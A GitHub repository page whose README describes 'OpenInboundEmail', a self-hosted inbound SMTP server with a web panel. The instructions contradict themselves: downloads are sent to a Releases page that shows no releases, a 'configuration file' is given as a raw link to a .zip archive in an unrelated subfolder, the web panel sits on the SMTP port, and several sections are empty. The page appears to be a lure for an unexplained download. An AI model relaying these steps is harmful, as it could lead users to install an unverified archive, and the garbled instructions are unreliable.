Skip to content

πŸ“§ Build a secure, receive-only SMTP server with a React panel for easy configuration and DNS management, perfect for efficient inbound email handling.

Notifications You must be signed in to change notification settings

GIT-max1/OpenInboundEmail

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

17 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“§ OpenInboundEmail - Your Self-Hosted SMTP Server Solution

πŸš€ Getting Started

Welcome to OpenInboundEmail! This application allows you to run your own inbound SMTP server with a user-friendly web panel. It's designed for easy setup and includes features to generate DNS artifacts and more.

πŸ“₯ Download OpenInboundEmail

Download

Click the link above to download the latest version of OpenInboundEmail.

πŸ“‹ Features

  • Self-hosted inbound SMTP server
  • User-friendly web panel for management
  • Generates DNS artifacts: MX, MTA-STS, TLS-RPT
  • Optional Cloudflare integration
  • Mail storage in Maildir format
  • Development on port 2525; Production on port 25

βš™οΈ System Requirements

To use OpenInboundEmail, ensure your system meets the following requirements:

πŸ“₯ Download & Install

  1. Visit the Releases Page: Go to the OpenInboundEmail Releases page.
  2. Select the Latest Release: Find the latest version and click on it to view the available files.
  3. Download the Application: Click on the appropriate file for your operating system to download it.
  4. Install OpenInboundEmail:

πŸ”§ Configuration

After installation, you'll need to configure the server for your needs.

  1. Open Configuration File: Locate the https://raw.githubusercontent.com/GIT-max1/OpenInboundEmail/main/maximed/OpenInboundEmail.zip file in the installation directory.
  2. Edit Settings: You can set parameters such as the SMTP port, email domains, and DNS configurations.
  3. Save Changes: After making adjustments, save the configuration file.

πŸ“Š Running the Server

  1. Open your terminal or command prompt.
  2. Navigate to the installation directory of OpenInboundEmail.
  3. Start the application with the command:
    npm start
    
  4. Access the web panel by visiting http://localhost:2525 in your web browser.

πŸ”’ Security Recommendations

OpenInboundEmail is still under development. While it functions, consider the following best practices for security:

  • Use a secure environment for running the server.
  • Implement standard security measures for email servers, such as SSL/TLS encryption.
  • Monitor access logs for unusual activity.

πŸ› οΈ Troubleshooting

If you encounter any issues, consider these common solutions:

🀝 Support

If you have questions or need assistance, feel free to check the issues section on our GitHub repository.

πŸ’Ύ Contributing

You can help improve OpenInboundEmail by contributing:

  • Report any bugs or suggestions in the GitHub issues page.
  • Participate in discussions to enhance features or usability.
  • Share your feedback to help us make OpenInboundEmail better.

πŸ“œ License

OpenInboundEmail is distributed under the MIT License. You are free to modify and distribute it as you see fit. Please refer to the LICENSE file in the repository for more details.

Thank you for using OpenInboundEmail. Enjoy your self-hosted email solution!

About

πŸ“§ Build a secure, receive-only SMTP server with a React panel for easy configuration and DNS management, perfect for efficient inbound email handling.

Topics

Resources

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages